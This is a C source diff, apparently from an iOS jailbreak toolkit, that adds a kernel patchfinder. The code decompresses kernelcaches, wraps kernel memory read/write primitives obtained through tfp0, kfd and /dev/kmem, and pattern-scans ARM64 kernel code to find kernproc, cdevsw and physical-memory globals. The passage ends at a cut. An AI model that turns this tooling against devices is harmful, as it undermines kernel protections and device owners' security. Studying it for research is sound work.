+ if((der = der_decode_seq(src, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4 && (memcmp(der, "IMG4", der_len) != 0 || ((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4)) && memcmp(der, "IM4P", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && der_len == 4 && memcmp(der, "krnl", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && (der = der_decode(DER_OCTET_STR, der + der_len, der_end, &der_len)) != NULL && der_len > sizeof(kcomp_hdr)) {
+ octet = der;
+ memcpy(&kcomp_hdr, octet, sizeof(kcomp_hdr));
+ if(kcomp_hdr.magic == __builtin_bswap32(KCOMP_HDR_MAGIC)) {
+ if(kcomp_hdr.type == __builtin_bswap32(KCOMP_HDR_TYPE_LZSS) && (kcomp_hdr.comp_sz = __builtin_bswap32(kcomp_hdr.comp_sz)) <= der_len - sizeof(kcomp_hdr) && (kcomp_hdr.uncomp_sz = __builtin_bswap32(kcomp_hdr.uncomp_sz)) != 0 && (dst = malloc(kcomp_hdr.uncomp_sz)) != NULL) {
+ if(decompress_lzss(octet + sizeof(kcomp_hdr), kcomp_hdr.comp_sz, dst, kcomp_hdr.uncomp_sz) == kcomp_hdr.uncomp_sz) {
+ *dst_len = kcomp_hdr.uncomp_sz;
+ return dst;
+ }
+ free(dst);
+ }
+ } else if((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && der_decode_uint64(der, der_end, &r) != NULL && r != 0 && (dst = malloc(r)) != NULL) {
+ if(compression_decode_buffer(dst, r, octet, der_len, NULL, COMPRESSION_LZFSE) == r) {
+ *dst_len = r;
+ return dst;
+ }
+ free(dst);
+ }
+ }
+ return NULL;
+}
+
+static kern_return_t
+kread_buf_kfd(kaddr_t addr, void *buf, size_t sz) {
+ if(kfd == 0)
+ return KERN_FAILURE;
+ early_kreadbuf(kfd, addr, buf, sz);
+ return KERN_SUCCESS;
+}
+
+static kern_return_t
+kread_buf_krw_0(kaddr_t addr, void *buf, size_t sz) {
+ return krw_0_kread(addr, buf, sz) == 0 ? KERN_SUCCESS : KERN_FAILURE;
+}
+
+static kern_return_t
+kwrite_buf_krw_0(kaddr_t addr, const void *buf, size_t sz) {
+ return krw_0_kwrite(buf, addr, sz) == 0 ? KERN_SUCCESS : KERN_FAILURE;
+}
+
+static kern_return_t
+init_tfp0(void) {
+ kern_return_t ret = task_for_pid(mach_task_self(), 0, &tfp0);
+ mach_port_t host;
+ pid_t pid;
+
+ if(ret != KERN_SUCCESS) {
+ host = mach_host_self();
+ if(MACH_PORT_VALID(host)) {
+ printf("host: 0x%" PRIX32 "\n", host);
+ ret = host_get_special_port(host, HOST_LOCAL_NODE, 4, &tfp0);
+ mach_port_deallocate(mach_task_self(), host);
+ }
+ }
+ if(ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {
+ if(pid_for_task(tfp0, &pid) == KERN_SUCCESS) {
+ return ret;
+ }
+ mach_port_deallocate(mach_task_self(), tfp0);
+ }
+ return KERN_FAILURE;
+}
+
+static kern_return_t
+kread_buf_tfp0(kaddr_t addr, void *buf, size_t sz) {
+ mach_vm_address_t p = (mach_vm_address_t)buf;
+ mach_vm_size_t read_sz, out_sz = 0;
+
+ while(sz != 0) {
+ read_sz = MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask));
+ if(mach_vm_read_overwrite(tfp0, addr, read_sz, p, &out_sz) != KERN_SUCCESS || out_sz != read_sz) {
+ return KERN_FAILURE;
+ }
+ p += read_sz;
+ sz -= read_sz;
+ addr += read_sz;
+ }
+ return KERN_SUCCESS;
+}
+
+static kern_return_t
+kwrite_buf_tfp0(kaddr_t addr, const void *buf, size_t sz) {
+ vm_machine_attribute_val_t mattr_val = MATTR_VAL_CACHE_FLUSH;
+ mach_vm_address_t p = (mach_vm_address_t)buf;
+ mach_msg_type_number_t write_sz;
+
+ while(sz != 0) {
+ write_sz = (mach_msg_type_number_t)MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask));
+ if(mach_vm_write(tfp0, addr, p, write_sz) != KERN_SUCCESS || mach_vm_machine_attribute(tfp0, addr, write_sz, MATTR_CACHE, &mattr_val) != KERN_SUCCESS) {
+ return KERN_FAILURE;
+ }
+ p += write_sz;
+ sz -= write_sz;
+ addr += write_sz;
+ }
+ return KERN_SUCCESS;
+}
+
+static kern_return_t
+kread_buf_kmem(kaddr_t addr, void *buf, size_t sz) {
+ mach_vm_size_t read_sz;
+ char *p = buf;
+ ssize_t n;
+
+ while(sz != 0) {
+ read_sz = (mach_vm_size_t)MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask));
+ if((n = pread(kmem_fd, p, read_sz, (off_t)addr)) < 0 || (size_t)n != read_sz) {
+ return KERN_FAILURE;
+ }
+ p += read_sz;
+ sz -= read_sz;
+ addr += read_sz;
+ }
+ return KERN_SUCCESS;
+}
+
+static kern_return_t
+kwrite_buf_kmem(kaddr_t addr, const void *buf, size_t sz) {
+ mach_msg_type_number_t write_sz;
+ const char *p = buf;
+ ssize_t n;
+
+ while(sz != 0) {
+ write_sz = (mach_msg_type_number_t)MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask));
+ if((n = pwrite(kmem_fd, p, write_sz, (off_t)addr)) < 0 || (size_t)n != write_sz) {
+ return KERN_FAILURE;
+ }
+ p += write_sz;
+ sz -= write_sz;
+ addr += write_sz;
+ }
+ return KERN_SUCCESS;
+}
+
+static kern_return_t
+kread_addr(kaddr_t addr, kaddr_t *val) {
+ return kread_buf(addr, val, sizeof(*val));
+}
+
+static kern_return_t
+find_section_kernel(kaddr_t p, struct segment_command_64 sg64, const char *sect_name, struct section_64 *sp) {
+ for(; sg64.nsects-- != 0; p += sizeof(*sp)) {
+ if(kread_buf(p, sp, sizeof(*sp)) != KERN_SUCCESS) {
+ break;
+ }
+ if((sp->flags & SECTION_TYPE) != S_ZEROFILL) {
+ if(sp->offset < sg64.fileoff || sp->size > sg64.filesize || sp->offset - sg64.fileoff > sg64.filesize - sp->size) {
+ break;
+ }
+ if(sp->size != 0 && strncmp(sp->segname, sg64.segname, sizeof(sp->segname)) == 0 && strncmp(sp->sectname, sect_name, sizeof(sp->sectname)) == 0) {
+ return KERN_SUCCESS;
+ }
+ }
+ }
+ return KERN_FAILURE;
+}
+
+static kern_return_t
+find_section_macho(const char *p, struct segment_command_64 sg64, const char *sect_name, struct section_64 *sp) {
+ for(; sg64.nsects-- != 0; p += sizeof(*sp)) {
+ memcpy(sp, p, sizeof(*sp));
+ if((sp->flags & SECTION_TYPE) != S_ZEROFILL) {
+ if(sp->offset < sg64.fileoff || sp->size > sg64.filesize || sp->offset - sg64.fileoff > sg64.filesize - sp->size) {
+ break;
+ }
+ if(sp->size != 0 && strncmp(sp->segname, sg64.segname, sizeof(sp->segname)) == 0 && strncmp(sp->sectname, sect_name, sizeof(sp->sectname)) == 0) {
+ return KERN_SUCCESS;
+ }
+ }
+ }
+ return KERN_FAILURE;
+}
+
+static void
+sec_reset(sec_64_t *sec) {
+ memset(&sec->s64, '\0', sizeof(sec->s64));
+ sec->data = NULL;
+}
+
+static void
+sec_term(sec_64_t *sec) {
+ free(sec->data);
+}
+
+static kern_return_t
+sec_read_buf(sec_64_t sec, kaddr_t addr, void *buf, size_t sz) {
+ size_t off;
+
+ if(addr < sec.s64.addr || sz > sec.s64.size || (off = addr - sec.s64.addr) > sec.s64.size - sz) {
+ return KERN_FAILURE;
+ }
+ memcpy(buf, sec.data + off, sz);
+ return KERN_SUCCESS;
+}
+
+static void
+pfinder_reset(pfinder_t *pfinder) {
+ pfinder->data = NULL;
+ pfinder->kernel = NULL;
+ pfinder->kernel_sz = 0;
+ sec_reset(&pfinder->sec_text);
+ sec_reset(&pfinder->sec_cstring);
+}
+
+void
+pfinder_term(pfinder_t *pfinder) {
+ free(pfinder->data);
+ sec_term(&pfinder->sec_text);
+ sec_term(&pfinder->sec_cstring);
+ pfinder_reset(pfinder);
+}
+
+static kern_return_t
+pfinder_init_macho(pfinder_t *pfinder, size_t off) {
+ const char *p = pfinder->kernel + off, *e;
+ struct fileset_entry_command fec;
+ struct segment_command_64 sg64;
+ struct mach_header_64 mh64;
+ struct load_command lc;
+ struct section_64 s64;
+
+ memcpy(&mh64, p, sizeof(mh64));
+ if(mh64.magic == MH_MAGIC_64 && mh64.cputype == CPU_TYPE_ARM64 &&
+ (mh64.filetype == MH_EXECUTE || (off == 0 && mh64.filetype == MH_FILESET))
+ && mh64.sizeofcmds < (pfinder->kernel_sz - sizeof(mh64)) - off) {
+ for(p += sizeof(mh64), e = p + mh64.sizeofcmds; mh64.ncmds-- != 0 && (size_t)(e - p) >= sizeof(lc); p += lc.cmdsize) {
+ memcpy(&lc, p, sizeof(lc));
+ if(lc.cmdsize < sizeof(lc) || (size_t)(e - p) < lc.cmdsize) {
+ break;
+ }
+ if(lc.cmd == LC_SEGMENT_64) {
+ if(lc.cmdsize < sizeof(sg64)) {
+ break;
+ }
+ memcpy(&sg64, p, sizeof(sg64));
+ if(sg64.vmsize == 0) {
+ continue;
+ }
+ if(sg64.nsects != (lc.cmdsize - sizeof(sg64)) / sizeof(s64) || sg64.fileoff > pfinder->kernel_sz || sg64.filesize > pfinder->kernel_sz - sg64.fileoff) {
+ break;
+ }
+ if(mh64.filetype == MH_EXECUTE) {
+ if(strncmp(sg64.segname, SEG_TEXT_EXEC, sizeof(sg64.segname)) == 0) {
+ if(find_section_macho(p + sizeof(sg64), sg64, SECT_TEXT, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_text.data = malloc(s64.size)) == NULL) {
+ break;
+ }
+ memcpy(pfinder->sec_text.data, pfinder->kernel + s64.offset, s64.size);
+ pfinder->sec_text.s64 = s64;
+ printf("sec_text_addr: " KADDR_FMT ", sec_text_off: 0x%" PRIX32 ", sec_text_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size);
+ } else if(strncmp(sg64.segname, SEG_TEXT, sizeof(sg64.segname)) == 0) {
+ if(find_section_macho(p + sizeof(sg64), sg64, SECT_CSTRING, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_cstring.data = calloc(1, s64.size + 1)) == NULL) {
+ break;
+ }
+ memcpy(pfinder->sec_cstring.data, pfinder->kernel + s64.offset, s64.size);
+ pfinder->sec_cstring.s64 = s64;
+ printf("sec_cstring_addr: " KADDR_FMT ", sec_cstring_off: 0x%" PRIX32 ", sec_cstring_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size);
+ }
+ }
+ }
+ else if(mh64.filetype == MH_FILESET && lc.cmd == LC_FILESET_ENTRY) {
+ if(lc.cmdsize < sizeof(fec)) {
+ break;
+ }
+ memcpy(&fec, p, sizeof(fec));
+ if(fec.fileoff == 0 || fec.fileoff > pfinder->kernel_sz - sizeof(mh64) || fec.entry_id.offset > fec.cmdsize || p[fec.cmdsize - 1] != '\0') {
+ break;
+ }
+ if(strcmp(p + fec.entry_id.offset, "com.apple.kernel") == 0 && pfinder_init_macho(pfinder, fec.fileoff) == KERN_SUCCESS) {
+ return KERN_SUCCESS;
+ }
+ }
+ if(pfinder->sec_text.s64.size != 0 && pfinder->sec_cstring.s64.size != 0) {
+ pfinder->sec_text.s64.addr += kbase - vm_kernel_link_addr;
+ pfinder->sec_cstring.s64.addr += kbase - vm_kernel_link_addr;
+ return KERN_SUCCESS;
+ }
+ }
+ }
+ return KERN_FAILURE;
+}
+
+static int
+kstrcmp(kaddr_t p, const char *s0) {
+ size_t len = strlen(s0);
+ int ret = 1;
+ char *s;
+
+ if((s = malloc(len + 1)) != NULL) {
+ s[len] = '\0';
+ if(kread_buf(p, s, len) == KERN_SUCCESS) {
+ ret = strcmp(s, s0);
+ }
+ free(s);
+ }
+ return ret;
+}
+
+static kern_return_t
+pfinder_init_kernel(pfinder_t *pfinder, size_t off) {
+ struct fileset_entry_command fec;
+ struct segment_command_64 sg64;
+ kaddr_t p = kbase + off, e;
+ struct mach_header_64 mh64;
+ struct load_command lc;
+ struct section_64 s64;
+
+ if(kread_buf(p, &mh64, sizeof(mh64)) == KERN_SUCCESS && mh64.magic == MH_MAGIC_64 && mh64.cputype == CPU_TYPE_ARM64 &&
+ (mh64.filetype == MH_EXECUTE || (off == 0 && mh64.filetype == MH_FILESET))
+ ) {
+ for(p += sizeof(mh64), e = p + mh64.sizeofcmds; mh64.ncmds-- != 0 && e - p >= sizeof(lc); p += lc.cmdsize) {
+ if(kread_buf(p, &lc, sizeof(lc)) != KERN_SUCCESS || lc.cmdsize < sizeof(lc) || e - p < lc.cmdsize) {
+ break;
+ }
+ if(lc.cmd == LC_SEGMENT_64) {
+ if(lc.cmdsize < sizeof(sg64) || kread_buf(p, &sg64, sizeof(sg64)) != KERN_SUCCESS) {
+ break;
+ }
+ if(sg64.vmsize == 0) {
+ continue;
+ }
+ if(sg64.nsects != (lc.cmdsize - sizeof(sg64)) / sizeof(s64)) {
+ break;
+ }
+ if(mh64.filetype == MH_EXECUTE) {
+ if(strncmp(sg64.segname, SEG_TEXT_EXEC, sizeof(sg64.segname)) == 0) {
+ if(find_section_kernel(p + sizeof(sg64), sg64, SECT_TEXT, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_text.data = malloc(s64.size)) == NULL || kread_buf(s64.addr, pfinder->sec_text.data, s64.size) != KERN_SUCCESS) {
+ break;
+ }
+ pfinder->sec_text.s64 = s64;
+ printf("sec_text_addr: " KADDR_FMT ", sec_text_off: 0x%" PRIX32 ", sec_text_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size);
+ } else if(strncmp(sg64.segname, SEG_TEXT, sizeof(sg64.segname)) == 0) {
+ if(find_section_kernel(p + sizeof(sg64), sg64, SECT_CSTRING, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_cstring.data = calloc(1, s64.size + 1)) == NULL || kread_buf(s64.addr, pfinder->sec_cstring.data, s64.size) != KERN_SUCCESS) {
+ break;
+ }
+ pfinder->sec_cstring.s64 = s64;
+ printf("sec_cstring_addr: " KADDR_FMT ", sec_cstring_off: 0x%" PRIX32 ", sec_cstring_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size);
+ }
+ }
+ }
+ else if(mh64.filetype == MH_FILESET && lc.cmd == LC_FILESET_ENTRY) {
+ if(lc.cmdsize < sizeof(fec) || kread_buf(p, &fec, sizeof(fec)) != KERN_SUCCESS) {
+ break;
+ }
+ if(fec.fileoff == 0 || fec.entry_id.offset > fec.cmdsize) {
+ break;
+ }
+ if(kstrcmp(p + fec.entry_id.offset, "com.apple.kernel") == 0 && pfinder_init_kernel(pfinder, fec.fileoff) == KERN_SUCCESS) {
+ return KERN_SUCCESS;
+ }
+ }
+ if(pfinder->sec_text.s64.size != 0 && pfinder->sec_cstring.s64.size != 0) {
+ return KERN_SUCCESS;
+ }
+ }
+ }
+ return KERN_FAILURE;
+}
+
+static kern_return_t
+pfinder_init_file(pfinder_t *pfinder, const char *filename) {
+ kern_return_t ret = KERN_FAILURE;
+ struct mach_header_64 mh64;
+ struct fat_header fh;
+ struct stat stat_buf;
+ struct fat_arch fa;
+ const char *p;
+ size_t len;
+ void *m;
+ int fd;
+
+ pfinder_reset(pfinder);
+ if((fd = open(filename, O_RDONLY | O_CLOEXEC)) != -1) {
+ if(fstat(fd, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode) && stat_buf.st_size > 0) {
+ len = (size_t)stat_buf.st_size;
+ if((m = mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0)) != MAP_FAILED) {
+ if((pfinder->data = kdecompress(m, len, &pfinder->kernel_sz)) != NULL && pfinder->kernel_sz > sizeof(fh) + sizeof(mh64)) {
+ pfinder->kernel = pfinder->data;
+ memcpy(&fh, pfinder->kernel, sizeof(fh));
+ if(fh.magic == __builtin_bswap32(FAT_MAGIC) && (fh.nfat_arch = __builtin_bswap32(fh.nfat_arch)) < (pfinder->kernel_sz - sizeof(fh)) / sizeof(fa)) {
+ for(p = pfinder->kernel + sizeof(fh); fh.nfat_arch-- != 0; p += sizeof(fa)) {
+ memcpy(&fa, p, sizeof(fa));
+ if(fa.cputype == (cpu_type_t)__builtin_bswap32(CPU_TYPE_ARM64) && (fa.offset = __builtin_bswap32(fa.offset)) < pfinder->kernel_sz && (fa.size = __builtin_bswap32(fa.size)) <= pfinder->kernel_sz - fa.offset && fa.size > sizeof(mh64)) {
+ pfinder->kernel_sz = fa.size;
+ pfinder->kernel += fa.offset;
+ break;
+ }
+ }
+ }
+ ret = pfinder_init_macho(pfinder, 0);
+ }
+ munmap(m, len);
+ }
+ }
+ close(fd);
+ }
+ if(ret != KERN_SUCCESS) {
+ pfinder_term(pfinder);
+ }
+ return ret;
+}
+
+static char *
+get_boot_path(void) {
+ size_t path_len = sizeof(BOOT_PATH);
+ CFDataRef boot_objects_path_cf;
+ size_t boot_objects_path_len;
+ const uint8_t *hash;
+ CFDataRef hash_cf;
+ size_t hash_len;
+ io_registry_entry_t chosen;
+ struct stat stat_buf;
+ char *path = NULL;
+
+ if(stat(PREBOOT_PATH, &stat_buf) != -1 && S_ISDIR(stat_buf.st_mode)) {
+ if((chosen = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/chosen")) != IO_OBJECT_NULL) {
+ path_len += strlen(PREBOOT_PATH);
+ if((boot_objects_path_cf = IORegistryEntryCreateCFProperty(chosen, CFSTR("boot-objects-path"), kCFAllocatorDefault, kNilOptions)) != NULL) {
+ if(CFGetTypeID(boot_objects_path_cf) == CFDataGetTypeID() && (boot_objects_path_len = (size_t)CFDataGetLength(boot_objects_path_cf) - 1) != 0) {
+ path_len += boot_objects_path_len;
+ if((path = malloc(path_len)) != NULL) {
+ memcpy(path, PREBOOT_PATH, strlen(PREBOOT_PATH));
+ memcpy(path + strlen(PREBOOT_PATH), CFDataGetBytePtr(boot_objects_path_cf), boot_objects_path_len);
+ }
+ }
+ CFRelease(boot_objects_path_cf);
+ }
+ if((hash_cf = IORegistryEntryCreateCFProperty(chosen, CFSTR("boot-manifest-hash"), kCFAllocatorDefault, kNilOptions)) != NULL) {
+ if(CFGetTypeID(hash_cf) == CFDataGetTypeID() && (hash_len = (size_t)CFDataGetLength(hash_cf) << 1U) != 0) {
+ path_len += hash_len;
+ if((path = malloc(path_len)) != NULL) {
+ memcpy(path, PREBOOT_PATH, strlen(PREBOOT_PATH));
+ for(hash = CFDataGetBytePtr(hash_cf); hash_len-- != 0; ) {
+ path[strlen(PREBOOT_PATH) + hash_len] = "0123456789ABCDEF"[(hash[hash_len >> 1U] >> ((~hash_len & 1U) << 2U)) & 0xFU];
+ }
+ }
+ }
+ CFRelease(hash_cf);
+ }
+ IOObjectRelease(chosen);
+ }
+ } else if(stat(BOOT_PATH, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode)) {
+ path = malloc(path_len);
+ }
+ if(path != NULL) {
+ memcpy(path + (path_len - sizeof(BOOT_PATH)), BOOT_PATH, sizeof(BOOT_PATH));
+ }
+ return path;
+}
+
+int set_kbase(uint64_t _kbase) {
+ kbase = _kbase;
+
+ return 0;
+}
+
+int set_kfd(uint64_t _kfd) {
+ kfd = _kfd;
+
+ return 0;
+}
+
+int set_kernel_path(char* _path) {
+ kernel_path = _path;
+
+ return 0;
+}
+
+kern_return_t
+pfinder_init(pfinder_t *pfinder) {
+ kern_return_t ret = KERN_FAILURE;
+
+ vm_kernel_link_addr = get_vm_kernel_link_addr();
+
+ pfinder_reset(pfinder);
+
+ if(kernel_path != NULL && access(kernel_path, F_OK) == 0) {
+ printf("kernel_path: %s\n", kernel_path);
+ if((ret = pfinder_init_file(pfinder, kernel_path)) != KERN_SUCCESS) {
+ pfinder_term(pfinder);
+ }
+ }
+
+ kread_buf = kread_buf_kfd;
+ if(kernel_path == NULL && (ret = pfinder_init_kernel(pfinder, 0)) != KERN_SUCCESS) {
+ pfinder_term(pfinder);
+ }
+
+ return ret;
+}
+
+static kaddr_t
+pfinder_xref_rd(pfinder_t pfinder, uint32_t rd, kaddr_t start, kaddr_t to) {
+ kaddr_t x[32] = { 0 };
+ uint32_t insn;
+
+ for(; sec_read_buf(pfinder.sec_text, start, &insn, sizeof(insn)) == KERN_SUCCESS; start += sizeof(insn)) {
+ if(IS_LDR_X(insn)) {
+ x[RD(insn)] = start + LDR_X_IMM(insn);
+ } else if(IS_ADR(insn)) {
+ x[RD(insn)] = start + ADR_IMM(insn);
+ } else if(IS_ADD_X(insn)) {
+ x[RD(insn)] = x[RN(insn)] + ADD_X_IMM(insn);
+ } else if(IS_LDR_W_UNSIGNED_IMM(insn)) {
+ x[RD(insn)] = x[RN(insn)] + LDR_W_UNSIGNED_IMM(insn);
+ } else if(IS_LDR_X_UNSIGNED_IMM(insn)) {
+ x[RD(insn)] = x[RN(insn)] + LDR_X_UNSIGNED_IMM(insn);
+ } else {
+ if(IS_ADRP(insn)) {
+ x[RD(insn)] = ADRP_ADDR(start) + ADRP_IMM(insn);
+ }
+ continue;
+ }
+ if(RD(insn) == rd) {
+ if(to == 0) {
+ return x[rd];
+ }
+ if(x[rd] == to) {
+ return start;
+ }
+ }
+ }
+ return 0;
+}
+
+static kaddr_t
+pfinder_xref_str(pfinder_t pfinder, const char *str, uint32_t rd) {
+ const char *p, *e;
+ size_t len;
+
+ for(p = pfinder.sec_cstring.data, e = p + pfinder.sec_cstring.s64.size; p != e; p += len) {
+ len = strlen(p) + 1;
+ if(strncmp(str, p, len) == 0) {
+ return pfinder_xref_rd(pfinder, rd, pfinder.sec_text.s64.addr, pfinder.sec_cstring.s64.addr + (kaddr_t)(p - pfinder.sec_cstring.data));
+ }
+ }
+ return 0;
+}
+
+kaddr_t
+pfinder_kernproc(pfinder_t pfinder) {
+ kaddr_t ref = pfinder_xref_str(pfinder, "Should never have an EVFILT_READ except for reg or fifo. @%s:%d", 0);
+ uint32_t insns[2];
+
+ if(ref == 0) {
+ ref = pfinder_xref_str(pfinder, "\"Should never have an EVFILT_READ except for reg or fifo.\"", 0);
+ }
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref -= sizeof(*insns)) {
+ if(IS_ADRP(insns[0]) && IS_LDR_X_UNSIGNED_IMM(insns[1]) && RD(insns[1]) == 3) {
+ return pfinder_xref_rd(pfinder, RD(insns[1]), ref, 0);
+ }
+ }
+ return 0;
+}
+
+static kaddr_t
+pfinder_proc_struct_sz_ptr(pfinder_t pfinder) {
+ uint32_t insns[3];
+ kaddr_t ref;
+
+ for(ref = pfinder_xref_str(pfinder, "panic: ticket lock acquired check done outside of kernel debugger @%s:%d", 0); sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref -= sizeof(*insns)) {
+ if(IS_ADRP(insns[0]) && IS_LDR_X_UNSIGNED_IMM(insns[1]) && IS_SUBS_X(insns[2]) && RD(insns[2]) == 1) {
+ return pfinder_xref_rd(pfinder, RD(insns[1]), ref, 0);
+ }
+ }
+ return 0;
+}
+
+static kaddr_t
+pfinder_bof64(pfinder_t pfinder, kaddr_t start, kaddr_t where)
+{
+ for (; where >= start; where -= 4) {
+ uint32_t insns[1];
+
+ sec_read_buf(pfinder.sec_text, where, insns, sizeof(insns));
+
+// kread_buf(where, &op, sizeof(op));//*(uint32_t *)(buf + where);
+ if ((insns[0] & 0xFFC003FF) == 0x910003FD) {
+ unsigned delta = (insns[0] >> 10) & 0xFFF;
+ //printf("0x%llx: ADD X29, SP, #0x%x\n", where + kerndumpbase, delta);
+ if ((delta & 0xF) == 0) {
+ kaddr_t prev = where - ((delta >> 4) + 1) * 4;
+ uint32_t au[1];
+
+ sec_read_buf(pfinder.sec_text, where, au, sizeof(au));
+
+ //kread_buf(prev, &au, sizeof(au));//*(uint32_t *)(buf + prev);
+ //printf("0x%llx: (%llx & %llx) == %llx\n", prev + kerndumpbase, au, 0x3BC003E0, au & 0x3BC003E0);
+ if ((au[0] & 0x3BC003E0) == 0x298003E0) {
+ //printf("%x: STP x, y, [SP,#-imm]!\n", prev);
+ return prev;
+ } else if ((au[0] & 0x7F8003FF) == 0x510003FF) {
+ //printf("%x: SUB SP, SP, #imm\n", prev);
+ return prev;
+ }
+ for (kaddr_t diff = 4; diff < delta/4+4; diff+=4) {
+ uint32_t ai[1];
+
+ sec_read_buf(pfinder.sec_text, where, ai, sizeof(ai));
+
+
+// kread_buf(where - diff, &ai, sizeof(ai));//*(uint32_t *)(buf + where - diff);
+ // SUB SP, SP, #imm
+ //printf("0x%llx: (%llx & %llx) == %llx\n", where - diff + kerndumpbase, ai, 0x3BC003E0, ai & 0x3BC003E0);
+ if ((ai[0] & 0x7F8003FF) == 0x510003FF) {
+ return where - diff;
+ }
+ // Not stp and not str
+ if (((ai[0] & 0xFFC003E0) != 0xA90003E0) && (ai[0]&0xFFC001F0) != 0xF90001E0) {
+ break;
+ }
+ }
+ // try something else
+ while (where > start) {
+ where -= 4;
+// au = *(uint32_t *)(buf + where);
+// au = 0;
+ au[0] = 0;
+
+ sec_read_buf(pfinder.sec_text, where, au, sizeof(au));
+// kread_buf(where, &au, sizeof(au));
+ // SUB SP, SP, #imm
+ if ((au[0] & 0xFFC003FF) == 0xD10003FF && ((au[0] >> 10) & 0xFFF) == delta + 0x10) {
+ return where;
+ }
+ // STP x, y, [SP,#imm]
+ if ((au[0] & 0xFFC003E0) != 0xA90003E0) {
+ where += 4;
+ break;
+ }
+ }
+ }
+ }
+ }
+ return 0;
+}
+
+static kaddr_t
+follow_adrl(kaddr_t ref, uint32_t adrp_op, uint32_t add_op)
+{
+ //Stage1. ADRP
+ uint64_t imm_hi_lo = (uint64_t)((adrp_op >> 3) & 0x1FFFFC);
+ imm_hi_lo |= (uint64_t)((adrp_op >> 29) & 0x3);
+ if ((adrp_op & 0x800000) != 0) {
+ // Sign extend
+ imm_hi_lo |= 0xFFFFFFFFFFE00000;
+ }
+
+ // Build real imm
+ uint64_t imm = imm_hi_lo << 12;
+
+ uint64_t ret = (ref & ~0xFFF) + imm;
+
+ //Stage2. ADD
+ uint64_t imm12 = (add_op & 0x3FFC00) >> 10;
+
+ uint32_t shift = (add_op >> 22) & 1;
+ if (shift == 1) {
+ imm12 = imm12 << 12;
+ }
+ ret += imm12;
+ return ret;
+}
+
+static kaddr_t
+follow_adrpLdr(kaddr_t ref, uint32_t adrp_op, uint32_t ldr_op)
+{
+ //Stage1. ADRP
+ uint64_t imm_hi_lo = (uint64_t)((adrp_op >> 3) & 0x1FFFFC);
+ imm_hi_lo |= (uint64_t)((adrp_op >> 29) & 0x3);
+ if ((adrp_op & 0x800000) != 0) {
+ // Sign extend
+ imm_hi_lo |= 0xFFFFFFFFFFE00000;
+ }
+
+ // Build real imm
+ uint64_t imm = imm_hi_lo << 12;
+ uint64_t ret = (ref & ~0xFFF) + imm;
+
+ //Stage2. STR, LDR
+ uint64_t imm12 = ((ldr_op >> 10) & 0xFFF) << 3;
+ ret += imm12;
+
+ return ret;
+}
+
+kaddr_t
+pfinder_cdevsw(pfinder_t pfinder) {
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[6];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if((insns[0] & 0xff000000) == 0xb4000000 //cbz
+ && insns[1] == 0xd2800001 //mov x1, #0
+ && insns[2] == 0xd2800002 //mov x2, #0
+ && insns[3] == 0x52800003 //mov w3, #0
+ && insns[4] == 0x52800024 //mov w4, #1
+ && insns[5] == 0xd2800005 /* mov x5, #0 */) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+// printf("1 ref: 0x%llx, ref\n", ref);
+
+ //2. Step into High address, and find adrp opcode.
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if(IS_ADRP(insns[0]) && IS_ADD_X(insns[1])) {
+ break;
+ }
+ }
+
+// printf("2 ref: 0x%llx, ref-kslide: 0x%llx\n", ref, ref-get_kslide());
+
+ //3. Get label from adrl opcode.
+ return follow_adrl(ref, insns[0], insns[1]);
+}
+
+kaddr_t
+pfinder_gPhysBase(pfinder_t pfinder) {
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[6];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if(insns[0] == 0x7100005F
+ && insns[1] == 0x54000120
+ && (insns[2] & 0x9F000000) == 0x90000000 //adrp
+ && (insns[3] & 0xFF800000) == 0x91000000 //add
+ && insns[4]== 0xF9400042
+ && insns[5] == 0xCB020000) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ return follow_adrl(ref, insns[2], insns[3]);
+}
+
+kaddr_t
+pfinder_gPhysSize(pfinder_t pfinder)
+{
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[8];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if ((insns[0] & 0xFFC00000) == 0xF9000000 //str
+ && insns[1] == 0x8b090108
+ && insns[2] == 0x9272c508
